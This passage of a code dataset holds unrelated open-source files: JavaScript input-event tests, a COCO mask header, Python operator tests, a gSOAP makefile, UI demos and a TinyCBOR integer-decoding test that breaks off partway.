KMWRecorder.PhysicalInputEventSpec(simple_A);\n\n var ele = document.getElementById(\"input\");\n var aliasing = false;\n\n var counterObj = {i:0};\n var fin = 3;\n\n ele.addEventListener(\"input\", function() {\n counterObj.i++;\n if(counterObj.i == fin) {\n done();\n }\n });\n\n if(ele['kmw_ip']) {\n ele = ele['kmw_ip'];\n aliasing = true;\n }\n\n let eventDriver = new KMWRecorder.BrowserDriver(ele);\n eventDriver.simulateEvent(event);\n eventDriver.simulateEvent(event);\n eventDriver.simulateEvent(event);\n });\n\n it('OSK-based onInput event generation', function(done) {\n // Not all browsers support InputEvent. Bypass the test for these.\n if(typeof InputEvent != 'function') {\n console.log(\"InputEvent not supported.\");\n done();\n return;\n }\n\n var simple_A = {\"type\":\"osk\",\"keyID\":\"default-K_A\"};\n var event = new KMWRecorder.OSKInputEventSpec(simple_A);\n\n var ele = document.getElementById(\"input\");\n var aliasing = false;\n\n var counterObj = {i:0};\n var fin = 3;\n\n ele.addEventListener(\"input\", function() {\n counterObj.i++;\n if(counterObj.i == fin) {\n done();\n }\n });\n\n if(ele['kmw_ip']) {\n ele = ele['kmw_ip'];\n aliasing = true;\n }\n\n let eventDriver = new KMWRecorder.BrowserDriver(ele);\n eventDriver.simulateEvent(event);\n eventDriver.simulateEvent(event);\n eventDriver.simulateEvent(event);\n });\n});"} +{"text": "/**************************************************************************\n* Microsoft COCO Toolbox. version 2.0\n* Data, paper, and tutorials available at: http://mscoco.org/\n* Code written by Piotr Dollar and Tsung-Yi Lin, 2015.\n* Licensed under the Simplified BSD License [see coco/license.txt]\n**************************************************************************/\n#pragma once\n#include \n\ntypedef unsigned int uint;\ntypedef unsigned long siz;\ntypedef unsigned char byte;\ntypedef double* BB;\ntypedef struct { siz h, w, m; uint *cnts; } RLE;\n\n// Initialize/destroy RLE.\nvoid rleInit( RLE *R, siz h, siz w, siz m, uint *cnts );\nvoid rleFree( RLE *R );\n\n// Initialize/destroy RLE array.\nvoid rlesInit( RLE **R, siz n );\nvoid rlesFree( RLE **R, siz n );\n\n// Encode binary masks using RLE.\nvoid rleEncode( RLE *R, const byte *mask, siz h, siz w, siz n );\n\n// Decode binary masks encoded via RLE.\nvoid rleDecode( const RLE *R, byte *mask, siz n );\n\n// Compute union or intersection of encoded masks.\nvoid rleMerge( const RLE *R, RLE *M, siz n, bool intersect );\n\n// Compute area of encoded masks.\nvoid rleArea( const RLE *R, siz n, uint *a );\n\n// Compute intersection over union between masks.\nvoid rleIou( RLE *dt, RLE *gt, siz m, siz n, byte *iscrowd, double *o );\n\n// Compute intersection over union between bounding boxes.\nvoid bbIou( BB dt, BB gt, siz m, siz n, byte *iscrowd, double *o );\n\n// Get bounding boxes surrounding encoded masks.\nvoid rleToBbox( const RLE *R, BB bb, siz n );\n\n// Convert bounding boxes to encoded masks.\nvoid rleFrBbox( RLE *R, const BB bb, siz h, siz w, siz n );\n\n// Convert polygon to encoded mask.\nvoid rleFrPoly( RLE *R, const double *xy, siz k, siz h, siz w );\n\n// Get compressed string representation of encoded mask.\nchar* rleToString( const RLE *R );\n\n// Convert from compressed string representation of encoded mask.\nvoid rleFrString( RLE *R, char *s, siz h, siz w );\n"} +{"text": "import numpy\n\nnp_random = numpy.random.RandomState()\n\n\ndef seed(seed=None):\n \"\"\"Seed the common numpy.random.RandomState used in spaces\n\n CF\n https://github.com/openai/gym/commit/58e6aa95e5af2c738557431f812abb81c505a7cf#commitcomment-17669277\n for some details about why we seed the spaces separately from the\n envs, but tl;dr is that it's pretty uncommon for them to be used\n within an actual algorithm, and the code becomes simpler to just\n use this common numpy.random.RandomState.\n \"\"\"\n np_random.seed(seed)\n\n# This numpy.random.RandomState gets used in all spaces for their\n# 'sample' method. It's not really expected that people will be using\n# these in their algorithms.\nseed(0)\n"} +{"text": "/*\n * Copyright 2016 Stormpath, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.stormpath.sdk.application.webconfig;\n\n/**\n * @since 1.2.0\n */\npublic interface ChangePasswordConfig extends WebFeatureConfig {\n\n}\n"} +{"text": "\n\n\n Code coverage report for lib/components/capitalize/index.vue\n \n \n \n \n \n\n\n
    \n
    \n

    \n All files / lib/components/capitalize index.vue\n

    \n
    \n
    \n 100% \n Statements\n 7/7\n
    \n
    \n 58.82% \n Branches\n 10/17\n
    \n
    \n 100% \n Functions\n 1/1\n
    \n
    \n 100% \n Lines\n 3/3\n
    \n
    \n

    \n Press n or j to go to the next uncovered block, b, p or k for the previous block.\n

    \n
    \n
    \n
    \n\n
    1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16 \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n 
    <template>\n    <mor-capitalize\n        :_uiid=\"uiid\"\n        :class=\"[]\"\n    >\n        <slot></slot>\n    </mor-capitalize>\n</template>\n \n<script>\nexport default {\n    origin : 'UI',\n    name : 'capitalize'\n};\n</script>\n 
    \n
    \n
    \n\n\n\n\n\n\n\n\n"} +{"text": "import * as React from 'react';\nimport { Slider } from '@fluentui/react-northstar';\n\nconst SliderExampleRtl = () => ;\n\nexport default SliderExampleRtl;\n"} +{"text": "import operator\nimport unittest\n\nfrom test import support\n\nclass Seq1:\n def __init__(self, lst):\n self.lst = lst\n def __len__(self):\n return len(self.lst)\n def __getitem__(self, i):\n return self.lst[i]\n def __add__(self, other):\n return self.lst + other.lst\n def __mul__(self, other):\n return self.lst * other\n def __rmul__(self, other):\n return other * self.lst\n\nclass Seq2(object):\n def __init__(self, lst):\n self.lst = lst\n def __len__(self):\n return len(self.lst)\n def __getitem__(self, i):\n return self.lst[i]\n def __add__(self, other):\n return self.lst + other.lst\n def __mul__(self, other):\n return self.lst * other\n def __rmul__(self, other):\n return other * self.lst\n\n\nclass OperatorTestCase(unittest.TestCase):\n def test_lt(self):\n self.assertRaises(TypeError, operator.lt)\n self.assertRaises(TypeError, operator.lt, 1j, 2j)\n self.assertFalse(operator.lt(1, 0))\n self.assertFalse(operator.lt(1, 0.0))\n self.assertFalse(operator.lt(1, 1))\n self.assertFalse(operator.lt(1, 1.0))\n self.assertTrue(operator.lt(1, 2))\n self.assertTrue(operator.lt(1, 2.0))\n\n def test_le(self):\n self.assertRaises(TypeError, operator.le)\n self.assertRaises(TypeError, operator.le, 1j, 2j)\n self.assertFalse(operator.le(1, 0))\n self.assertFalse(operator.le(1, 0.0))\n self.assertTrue(operator.le(1, 1))\n self.assertTrue(operator.le(1, 1.0))\n self.assertTrue(operator.le(1, 2))\n self.assertTrue(operator.le(1, 2.0))\n\n def test_eq(self):\n class C(object):\n def __eq__(self, other):\n raise SyntaxError\n self.assertRaises(TypeError, operator.eq)\n self.assertRaises(SyntaxError, operator.eq, C(), C())\n self.assertFalse(operator.eq(1, 0))\n self.assertFalse(operator.eq(1, 0.0))\n self.assertTrue(operator.eq(1, 1))\n self.assertTrue(operator.eq(1, 1.0))\n self.assertFalse(operator.eq(1, 2))\n self.assertFalse(operator.eq(1, 2.0))\n\n def test_ne(self):\n class C(object):\n def __ne__(self, other):\n raise SyntaxError\n self.assertRaises(TypeError, operator.ne)\n self.assertRaises(SyntaxError, operator.ne, C(), C())\n self.assertTrue(operator.ne(1, 0))\n self.assertTrue(operator.ne(1, 0.0))\n self.assertFalse(operator.ne(1, 1))\n self.assertFalse(operator.ne(1, 1.0))\n self.assertTrue(operator.ne(1, 2))\n self.assertTrue(operator.ne(1, 2.0))\n\n def test_ge(self):\n self.assertRaises(TypeError, operator.ge)\n self.assertRaises(TypeError, operator.ge, 1j, 2j)\n self.assertTrue(operator.ge(1, 0))\n self.assertTrue(operator.ge(1, 0.0))\n self.assertTrue(operator.ge(1, 1))\n self.assertTrue(operator.ge(1, 1.0))\n self.assertFalse(operator.ge(1, 2))\n self.assertFalse(operator.ge(1, 2.0))\n\n def test_gt(self):\n self.assertRaises(TypeError, operator.gt)\n self.assertRaises(TypeError, operator.gt, 1j, 2j)\n self.assertTrue(operator.gt(1, 0))\n self.assertTrue(operator.gt(1, 0.0))\n self.assertFalse(operator.gt(1, 1))\n self.assertFalse(operator.gt(1, 1.0))\n self.assertFalse(operator.gt(1, 2))\n self.assertFalse(operator.gt(1, 2.0))\n\n def test_abs(self):\n self.assertRaises(TypeError, operator.abs)\n self.assertRaises(TypeError, operator.abs, None)\n self.assertEqual(operator.abs(-1), 1)\n self.assertEqual(operator.abs(1), 1)\n\n def test_add(self):\n self.assertRaises(TypeError, operator.add)\n self.assertRaises(TypeError, operator.add, None, None)\n self.assertTrue(operator.add(3, 4) == 7)\n\n def test_bitwise_and(self):\n self.assertRaises(TypeError, operator.and_)\n self.assertRaises(TypeError, operator.and_, None, None)\n self.assertTrue(operator.and_(0xf, 0xa) == 0xa)\n\n def test_concat(self):\n self.assertRaises(TypeError, operator.concat)\n self.assertRaises(TypeError, operator.concat, None, None)\n self.assertTrue(operator.concat('py', 'thon') == 'python')\n self.assertTrue(operator.concat([1, 2], [3, 4]) == [1, 2, 3, 4])\n self.assertTrue(operator.concat(Seq1([5, 6]), Seq1([7])) == [5, 6, 7])\n self.assertTrue(operator.concat(Seq2([5, 6]), Seq2([7])) == [5, 6, 7])\n self.assertRaises(TypeError, operator.concat, 13, 29)\n\n def test_countOf(self):\n self.assertRaises(TypeError, operator.countOf)\n self.assertRaises(TypeError, operator.countOf, None, None)\n self.assertTrue(operator.countOf([1, 2, 1, 3, 1, 4], 3) == 1)\n self.assertTrue(operator.countOf([1, 2, 1, 3, 1, 4], 5) == 0)\n\n def test_delitem(self):\n a = [4, 3, 2, 1]\n self.assertRaises(TypeError, operator.delitem, a)\n self.assertRaises(TypeError, operator.delitem, a, None)\n self.assertTrue(operator.delitem(a, 1) is None)\n self.assertTrue(a == [4, 2, 1])\n\n def test_floordiv(self):\n self.assertRaises(TypeError, operator.floordiv, 5)\n self.assertRaises(TypeError, operator.floordiv, None, None)\n self.assertTrue(operator.floordiv(5, 2) == 2)\n\n def test_truediv(self):\n self.assertRaises(TypeError, operator.truediv, 5)\n self.assertRaises(TypeError, operator.truediv, None, None)\n self.assertTrue(operator.truediv(5, 2) == 2.5)\n\n def test_getitem(self):\n a = range(10)\n self.assertRaises(TypeError, operator.getitem)\n self.assertRaises(TypeError, operator.getitem, a, None)\n self.assertTrue(operator.getitem(a, 2) == 2)\n\n def test_indexOf(self):\n self.assertRaises(TypeError, operator.indexOf)\n self.assertRaises(TypeError, operator.indexOf, None, None)\n self.assertTrue(operator.indexOf([4, 3, 2, 1], 3) == 1)\n self.assertRaises(ValueError, operator.indexOf, [4, 3, 2, 1], 0)\n\n def test_invert(self):\n self.assertRaises(TypeError, operator.invert)\n self.assertRaises(TypeError, operator.invert, None)\n self.assertEqual(operator.inv(4), -5)\n\n def test_lshift(self):\n self.assertRaises(TypeError, operator.lshift)\n self.assertRaises(TypeError, operator.lshift, None, 42)\n self.assertTrue(operator.lshift(5, 1) == 10)\n self.assertTrue(operator.lshift(5, 0) == 5)\n self.assertRaises(ValueError, operator.lshift, 2, -1)\n\n def test_mod(self):\n self.assertRaises(TypeError, operator.mod)\n self.assertRaises(TypeError, operator.mod, None, 42)\n self.assertTrue(operator.mod(5, 2) == 1)\n\n def test_mul(self):\n self.assertRaises(TypeError, operator.mul)\n self.assertRaises(TypeError, operator.mul, None, None)\n self.assertTrue(operator.mul(5, 2) == 10)\n\n def test_neg(self):\n self.assertRaises(TypeError, operator.neg)\n self.assertRaises(TypeError, operator.neg, None)\n self.assertEqual(operator.neg(5), -5)\n self.assertEqual(operator.neg(-5), 5)\n self.assertEqual(operator.neg(0), 0)\n self.assertEqual(operator.neg(-0), 0)\n\n def test_bitwise_or(self):\n self.assertRaises(TypeError, operator.or_)\n self.assertRaises(TypeError, operator.or_, None, None)\n self.assertTrue(operator.or_(0xa, 0x5) == 0xf)\n\n def test_pos(self):\n self.assertRaises(TypeError, operator.pos)\n self.assertRaises(TypeError, operator.pos, None)\n self.assertEqual(operator.pos(5), 5)\n self.assertEqual(operator.pos(-5), -5)\n self.assertEqual(operator.pos(0), 0)\n self.assertEqual(operator.pos(-0), 0)\n\n def test_pow(self):\n self.assertRaises(TypeError, operator.pow)\n self.assertRaises(TypeError, operator.pow, None, None)\n self.assertEqual(operator.pow(3,5), 3**5)\n self.assertEqual(operator.__pow__(3,5), 3**5)\n self.assertRaises(TypeError, operator.pow, 1)\n self.assertRaises(TypeError, operator.pow, 1, 2, 3)\n\n def test_rshift(self):\n self.assertRaises(TypeError, operator.rshift)\n self.assertRaises(TypeError, operator.rshift, None, 42)\n self.assertTrue(operator.rshift(5, 1) == 2)\n self.assertTrue(operator.rshift(5, 0) == 5)\n self.assertRaises(ValueError, operator.rshift, 2, -1)\n\n def test_contains(self):\n self.assertRaises(TypeError, operator.contains)\n self.assertRaises(TypeError, operator.contains, None, None)\n self.assertTrue(operator.contains(range(4), 2))\n self.assertFalse(operator.contains(range(4), 5))\n\n def test_setitem(self):\n a = list(range(3))\n self.assertRaises(TypeError, operator.setitem, a)\n self.assertRaises(TypeError, operator.setitem, a, None, None)\n self.assertTrue(operator.setitem(a, 0, 2) is None)\n self.assertTrue(a == [2, 1, 2])\n self.assertRaises(IndexError, operator.setitem, a, 4, 2)\n\n def test_sub(self):\n self.assertRaises(TypeError, operator.sub)\n self.assertRaises(TypeError, operator.sub, None, None)\n self.assertTrue(operator.sub(5, 2) == 3)\n\n def test_truth(self):\n class C(object):\n def __bool__(self):\n raise SyntaxError\n self.assertRaises(TypeError, operator.truth)\n self.assertRaises(SyntaxError, operator.truth, C())\n self.assertTrue(operator.truth(5))\n self.assertTrue(operator.truth([0]))\n self.assertFalse(operator.truth(0))\n self.assertFalse(operator.truth([]))\n\n def test_bitwise_xor(self):\n self.assertRaises(TypeError, operator.xor)\n self.assertRaises(TypeError, operator.xor, None, None)\n self.assertTrue(operator.xor(0xb, 0xc) == 0x7)\n\n def test_is(self):\n a = b = 'xyzpdq'\n c = a[:3] + b[3:]\n self.assertRaises(TypeError, operator.is_)\n self.assertTrue(operator.is_(a, b))\n self.assertFalse(operator.is_(a,c))\n\n def test_is_not(self):\n a = b = 'xyzpdq'\n c = a[:3] + b[3:]\n self.assertRaises(TypeError, operator.is_not)\n self.assertFalse(operator.is_not(a, b))\n self.assertTrue(operator.is_not(a,c))\n\n def test_attrgetter(self):\n class A:\n pass\n a = A()\n a.name = 'arthur'\n f = operator.attrgetter('name')\n self.assertEqual(f(a), 'arthur')\n f = operator.attrgetter('rank')\n self.assertRaises(AttributeError, f, a)\n self.assertRaises(TypeError, operator.attrgetter, 2)\n self.assertRaises(TypeError, operator.attrgetter)\n\n # multiple gets\n record = A()\n record.x = 'X'\n record.y = 'Y'\n record.z = 'Z'\n self.assertEqual(operator.attrgetter('x','z','y')(record), ('X', 'Z', 'Y'))\n self.assertRaises(TypeError, operator.attrgetter, ('x', (), 'y'))\n\n class C(object):\n def __getattr__(self, name):\n raise SyntaxError\n self.assertRaises(SyntaxError, operator.attrgetter('foo'), C())\n\n # recursive gets\n a = A()\n a.name = 'arthur'\n a.child = A()\n a.child.name = 'thomas'\n f = operator.attrgetter('child.name')\n self.assertEqual(f(a), 'thomas')\n self.assertRaises(AttributeError, f, a.child)\n f = operator.attrgetter('name', 'child.name')\n self.assertEqual(f(a), ('arthur', 'thomas'))\n f = operator.attrgetter('name', 'child.name', 'child.child.name')\n self.assertRaises(AttributeError, f, a)\n f = operator.attrgetter('child.')\n self.assertRaises(AttributeError, f, a)\n f = operator.attrgetter('.child')\n self.assertRaises(AttributeError, f, a)\n\n a.child.child = A()\n a.child.child.name = 'johnson'\n f = operator.attrgetter('child.child.name')\n self.assertEqual(f(a), 'johnson')\n f = operator.attrgetter('name', 'child.name', 'child.child.name')\n self.assertEqual(f(a), ('arthur', 'thomas', 'johnson'))\n\n def test_itemgetter(self):\n a = 'ABCDE'\n f = operator.itemgetter(2)\n self.assertEqual(f(a), 'C')\n f = operator.itemgetter(10)\n self.assertRaises(IndexError, f, a)\n\n class C(object):\n def __getitem__(self, name):\n raise SyntaxError\n self.assertRaises(SyntaxError, operator.itemgetter(42), C())\n\n f = operator.itemgetter('name')\n self.assertRaises(TypeError, f, a)\n self.assertRaises(TypeError, operator.itemgetter)\n\n d = dict(key='val')\n f = operator.itemgetter('key')\n self.assertEqual(f(d), 'val')\n f = operator.itemgetter('nonkey')\n self.assertRaises(KeyError, f, d)\n\n # example used in the docs\n inventory = [('apple', 3), ('banana', 2), ('pear', 5), ('orange', 1)]\n getcount = operator.itemgetter(1)\n self.assertEqual(list(map(getcount, inventory)), [3, 2, 5, 1])\n self.assertEqual(sorted(inventory, key=getcount),\n [('orange', 1), ('banana', 2), ('apple', 3), ('pear', 5)])\n\n # multiple gets\n data = list(map(str, range(20)))\n self.assertEqual(operator.itemgetter(2,10,5)(data), ('2', '10', '5'))\n self.assertRaises(TypeError, operator.itemgetter(2, 'x', 5), data)\n\n def test_methodcaller(self):\n self.assertRaises(TypeError, operator.methodcaller)\n class A:\n def foo(self, *args, **kwds):\n return args[0] + args[1]\n def bar(self, f=42):\n return f\n a = A()\n f = operator.methodcaller('foo')\n self.assertRaises(IndexError, f, a)\n f = operator.methodcaller('foo', 1, 2)\n self.assertEqual(f(a), 3)\n f = operator.methodcaller('bar')\n self.assertEqual(f(a), 42)\n self.assertRaises(TypeError, f, a, a)\n f = operator.methodcaller('bar', f=5)\n self.assertEqual(f(a), 5)\n\n def test_inplace(self):\n class C(object):\n def __iadd__ (self, other): return \"iadd\"\n def __iand__ (self, other): return \"iand\"\n def __ifloordiv__(self, other): return \"ifloordiv\"\n def __ilshift__ (self, other): return \"ilshift\"\n def __imod__ (self, other): return \"imod\"\n def __imul__ (self, other): return \"imul\"\n def __ior__ (self, other): return \"ior\"\n def __ipow__ (self, other): return \"ipow\"\n def __irshift__ (self, other): return \"irshift\"\n def __isub__ (self, other): return \"isub\"\n def __itruediv__ (self, other): return \"itruediv\"\n def __ixor__ (self, other): return \"ixor\"\n def __getitem__(self, other): return 5 # so that C is a sequence\n c = C()\n self.assertEqual(operator.iadd (c, 5), \"iadd\")\n self.assertEqual(operator.iand (c, 5), \"iand\")\n self.assertEqual(operator.ifloordiv(c, 5), \"ifloordiv\")\n self.assertEqual(operator.ilshift (c, 5), \"ilshift\")\n self.assertEqual(operator.imod (c, 5), \"imod\")\n self.assertEqual(operator.imul (c, 5), \"imul\")\n self.assertEqual(operator.ior (c, 5), \"ior\")\n self.assertEqual(operator.ipow (c, 5), \"ipow\")\n self.assertEqual(operator.irshift (c, 5), \"irshift\")\n self.assertEqual(operator.isub (c, 5), \"isub\")\n self.assertEqual(operator.itruediv (c, 5), \"itruediv\")\n self.assertEqual(operator.ixor (c, 5), \"ixor\")\n self.assertEqual(operator.iconcat (c, c), \"iadd\")\n self.assertEqual(operator.__iadd__ (c, 5), \"iadd\")\n self.assertEqual(operator.__iand__ (c, 5), \"iand\")\n self.assertEqual(operator.__ifloordiv__(c, 5), \"ifloordiv\")\n self.assertEqual(operator.__ilshift__ (c, 5), \"ilshift\")\n self.assertEqual(operator.__imod__ (c, 5), \"imod\")\n self.assertEqual(operator.__imul__ (c, 5), \"imul\")\n self.assertEqual(operator.__ior__ (c, 5), \"ior\")\n self.assertEqual(operator.__ipow__ (c, 5), \"ipow\")\n self.assertEqual(operator.__irshift__ (c, 5), \"irshift\")\n self.assertEqual(operator.__isub__ (c, 5), \"isub\")\n self.assertEqual(operator.__itruediv__ (c, 5), \"itruediv\")\n self.assertEqual(operator.__ixor__ (c, 5), \"ixor\")\n self.assertEqual(operator.__iconcat__ (c, c), \"iadd\")\n\ndef test_main(verbose=None):\n import sys\n test_classes = (\n OperatorTestCase,\n )\n\n support.run_unittest(*test_classes)\n\n # verify reference counting\n if verbose and hasattr(sys, \"gettotalrefcount\"):\n import gc\n counts = [None] * 5\n for i in range(len(counts)):\n support.run_unittest(*test_classes)\n gc.collect()\n counts[i] = sys.gettotalrefcount()\n print(counts)\n\nif __name__ == \"__main__\":\n test_main(verbose=True)\n"} +{"text": "'' FreeBASIC binding for glibc-2.22\n''\n'' based on the C header files:\n'' Copyright (C) 1999-2015 Free Software Foundation, Inc.\n'' This file is part of the GNU C Library.\n''\n'' The GNU C Library is free software; you can redistribute it and/or\n'' modify it under the terms of the GNU Lesser General Public\n'' License as published by the Free Software Foundation; either\n'' version 2.1 of the License, or (at your option) any later version.\n''\n'' The GNU C Library is distributed in the hope that it will be useful,\n'' but WITHOUT ANY WARRANTY; without even the implied warranty of\n'' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n'' Lesser General Public License for more details.\n''\n'' You should have received a copy of the GNU Lesser General Public\n'' License along with the GNU C Library; if not, see\n'' . \n''\n'' translated to FreeBASIC by:\n'' Copyright © 2015 FreeBASIC development team\n\n#pragma once\n\n#ifdef __FB_64BIT__\n\tconst __WORDSIZE = 64\n#else\n\tconst __WORDSIZE = 32\n#endif\n"} +{"text": "/* tslint:disable */\n/* eslint-disable */\n\nimport { ReaderFragment } from \"relay-runtime\";\nimport { FragmentRefs } from \"relay-runtime\";\nexport type BidButton_me = {\n readonly identityVerified: boolean | null;\n readonly \" $refType\": \"BidButton_me\";\n};\nexport type BidButton_me$data = BidButton_me;\nexport type BidButton_me$key = {\n readonly \" $data\"?: BidButton_me$data;\n readonly \" $fragmentRefs\": FragmentRefs<\"BidButton_me\">;\n};\n\n\n\nconst node: ReaderFragment = {\n \"kind\": \"Fragment\",\n \"name\": \"BidButton_me\",\n \"type\": \"Me\",\n \"metadata\": null,\n \"argumentDefinitions\": [],\n \"selections\": [\n {\n \"kind\": \"ScalarField\",\n \"alias\": null,\n \"name\": \"identityVerified\",\n \"args\": null,\n \"storageKey\": null\n }\n ]\n};\n(node as any).hash = '4a1c7e4593abf1b3b1ab07a71a03457b';\nexport default node;\n"} +{"text": "URL=http://192.168.2.2:8000/ServiceModelSamples/service\nWSDL=../../../../wsdl/wsdl2h\nGSOAP=../../../../src/soapcpp2\nSOAPH=../../../../stdsoap2.h\nSOAPC=../../../../stdsoap2.c\nSOAPCPP=../../../../stdsoap2.cpp\nSOAPDOMC=../../../../dom.c\nSOAPDOMCPP=../../../../dom.cpp\nTYPEMAP=../../../../typemap.dat\nCC=gcc\nCPP=g++\nLIBS=\nGSFLAGS=-L -I../../../../import\nCOFLAGS=-O2\nCWFLAGS=-Wall -Wno-deprecated-declarations\nCIFLAGS=-I. -I../../../.. -I../../../../plugin\nCMFLAGS=\n#CMFLAGS=-DDEBUG\nCFLAGS= $(CWFLAGS) $(COFLAGS) $(CIFLAGS) $(CMFLAGS)\nall:\t\tcalculator\ncalculator:\tcalculator.h calculator.cpp $(SOAPH) $(SOAPC)\n\t\t$(GSOAP) $(GSFLAGS) -a -j calculator.h\n\t\t$(CPP) $(CFLAGS) -o calculator calculator.cpp soapC.cpp soapBasicHttpBinding_USCOREICalculatorService.cpp soapBasicHttpBinding_USCOREICalculatorProxy.cpp $(SOAPCPP) $(LIBS)\ncalculator.h:\n\t\t$(WSDL) -t $(TYPEMAP) -o calculator.h $(URL)?wsdl\n.PHONY: clean distclean\nclean:\n\t\trm -f *.o soapH.h soapStub.h soapC.* soapClient.* soapServer.* soap*Proxy.* soap*Service.* soap*Object.*\ndistclean:\n\t\trm -f *.o soapH.h soapStub.h soapC.* soapClient.* soapServer.* soap*Proxy.* soap*Service.* soap*Object.*\n\t\trm -f *.xml *.nsmap *.log\n\t\trm -f calculator\n"} +{"text": "\n\n\n\n ngOfficeUiFabric | uif-Dialog demo\n \n\n \n \n \n \n \n \n \n \n\n\n\n\n

    Dialog Demo | <uif-dialog>

    \n In order for this demo to work you must first build the library in debug mode.\n\n

    \n This markup:\n
    \n \n <uif-dialog />\n \n

    \n\n\n Renders this:\n
    \n \n \n \n

    \n Create account\n

    \n
    \n \n \n \n Your Inbox has changed. No longer does it include favorites, it is a singular destination for your emails.\n asdasda\n \n \n \n Text 1\n Text 2\n Text 3\n Text 4\n \n \n \n \n \n \n \n
    \n\n\n\n"} +{"text": "/**\n * Gets the stack value for `key`.\n *\n * @private\n * @name get\n * @memberOf Stack\n * @param {string} key The key of the value to get.\n * @returns {*} Returns the entry value.\n */\nfunction stackGet(key) {\n return this.__data__.get(key);\n}\n\nmodule.exports = stackGet;\n"} +{"text": "#include \n#include \n#include \n\nQ_DECLARE_METATYPE(CborError)\n\ntemplate QByteArray raw(const char (&data)[N])\n{\n return QByteArray::fromRawData(data, N - 1);\n}\n\nvoid addIntegers()\n{\n QTest::addColumn(\"data\");\n QTest::addColumn(\"expectedRaw\");\n QTest::addColumn(\"expectedValue\");\n QTest::addColumn(\"isNegative\");\n QTest::addColumn(\"inInt64Range\");\n\n // unsigned integers\n QTest::newRow(\"0\") << raw(\"\\x00\") << Q_UINT64_C(0) << Q_INT64_C(0) << false << true;\n QTest::newRow(\"1\") << raw(\"\\x01\") << Q_UINT64_C(1) << Q_INT64_C(1) << false << true;\n QTest::newRow(\"10\") << raw(\"\\x0a\") << Q_UINT64_C(10) << Q_INT64_C(10) << false << true;\n QTest::newRow(\"23\") << raw(\"\\x17\") << Q_UINT64_C(23) << Q_INT64_C(23) << false << true;\n QTest::newRow(\"24\") << raw(\"\\x18\\x18\") << Q_UINT64_C(24) << Q_INT64_C(24) << false << true;\n QTest::newRow(\"UINT8_MAX\") << raw(\"\\x18\\xff\") << Q_UINT64_C(255) << Q_INT64_C(255) << false << true;\n QTest::newRow(\"UINT8_MAX+1\") << raw(\"\\x19\\x01\\x00\") << Q_UINT64_C(256) << Q_INT64_C(256) << false << true;\n QTest::newRow(\"UINT16_MAX\") << raw(\"\\x19\\xff\\xff\") << Q_UINT64_C(65535) << Q_INT64_C(65535) << false << true;\n QTest::newRow(\"UINT16_MAX+1\") << raw(\"\\x1a\\0\\1\\x00\\x00\") << Q_UINT64_C(65536) << Q_INT64_C(65536) << false << true;\n QTest::newRow(\"UINT32_MAX\") << raw(\"\\x1a\\xff\\xff\\xff\\xff\") << Q_UINT64_C(4294967295) << Q_INT64_C(4294967295) << false << true;\n QTest::newRow(\"UINT32_MAX+1\") << raw(\"\\x1b\\0\\0\\0\\1\\0\\0\\0\\0\") << Q_UINT64_C(4294967296) << Q_INT64_C(4294967296) << false << true;\n QTest::newRow(\"INT64_MAX\") << raw(\"\\x1b\" \"\\x7f\\xff\\xff\\xff\" \"\\xff\\xff\\xff\\xff\")\n << quint64(std::numeric_limits::max())\n << std::numeric_limits::max() << false << true;\n QTest::newRow(\"UINT64_MAX\") << raw(\"\\x1b\" \"\\xff\\xff\\xff\\xff\" \"\\xff\\xff\\xff\\xff\")\n << std::numeric_limits::max() << qint64(-123456) << false << false;\n\n // negative integers\n QTest::newRow(\"-1\") << raw(\"\\x20\") << Q_UINT64_C(0) << Q_INT64_C(-1) << true << true;\n QTest::newRow(\"-2\") << raw(\"\\x21\") << Q_UINT64_C(1) << Q_INT64_C(-2) << true << true;\n QTest::newRow(\"-24\") << raw(\"\\x37\") << Q_UINT64_C(23) << Q_INT64_C(-24) << true << true;\n QTest::newRow(\"-25\") << raw(\"\\x38\\x18\") << Q_UINT64_C(24) << Q_INT64_C(-25) << true << true;\n QTest::newRow(\"-UINT8_MAX\") << raw(\"\\x38\\xff\") << Q_UINT64_C(255) << Q_INT64_C(-256) << true << true;\n QTest::newRow(\"-UINT8_MAX-1\") << raw(\"\\x39\\x01\\x00\") << Q_UINT64_C(256) << Q_INT64_C(-257) << true << true;\n QTest::newRow(\"-UINT16_MAX\") << raw(\"\\x39\\xff\\xff\") << Q_UINT64_C(65535) << Q_INT64_C(-65536) << true << true;\n QTest::newRow(\"-UINT16_MAX-1\") << raw(\"\\x3a\\0\\1\\x00\\x00\") << Q_UINT64_C(65536) << Q_INT64_C(-65537) << true << true;\n QTest::newRow(\"-UINT32_MAX\") << raw(\"\\x3a\\xff\\xff\\xff\\xff\") << Q_UINT64_C(4294967295) << Q_INT64_C(-4294967296) << true << true;\n QTest::newRow(\"-UINT32_MAX-1\") << raw(\"\\x3b\\0\\0\\0\\1\\0\\0\\0\\0\") << Q_UINT64_C(4294967296) << Q_INT64_C(-4294967297) << true << true;\n QTest::newRow(\"INT64_MIN+1\") << raw(\"\\x3b\\x7f\\xff\\xff\\xff\"\"\\xff\\xff\\xff\\xfe\")\n << quint64(std::numeric_limits::max() - 1)\n << (std::numeric_limits::min() + 1)\n << true << true;\n QTest::newRow(\"INT64_MIN\") << raw(\"\\x3b\\x7f\\xff\\xff\\xff\"\"\\xff\\xff\\xff\\xff\")\n << quint64(std::numeric_limits::max())\n << std::numeric_limits::min()\n << true << true;\n QTest::newRow(\"INT64_MIN-1\") << raw(\"\\x3b\\x80\\0\\0\\0\"\"\\0\\0\\0\\0\") << Q_UINT64_C(9223372036854775808) << qint64(-123456) << true << false;\n QTest::newRow(\"-UINT64_MAX\") << raw(\"\\x3b\" \"\\xff\\xff\\xff\\xff\" \"\\xff\\xff\\xff\\xfe\")\n << (std::numeric_limits::max() - 1) << qint64(-123456) << true << false;\n QTest::newRow(\"-UINT64_MAX+1\") << raw(\"\\x3b\" \"\\xff\\xff\\xff\\xff\" \"\\xff\\xff\\xff\\xff\")\n << std::numeric_limits::max() << qint64(-123456) << true << false;\n}\n\nvoid addColumns()\n{\n QTest::addColumn(\"data\");\n 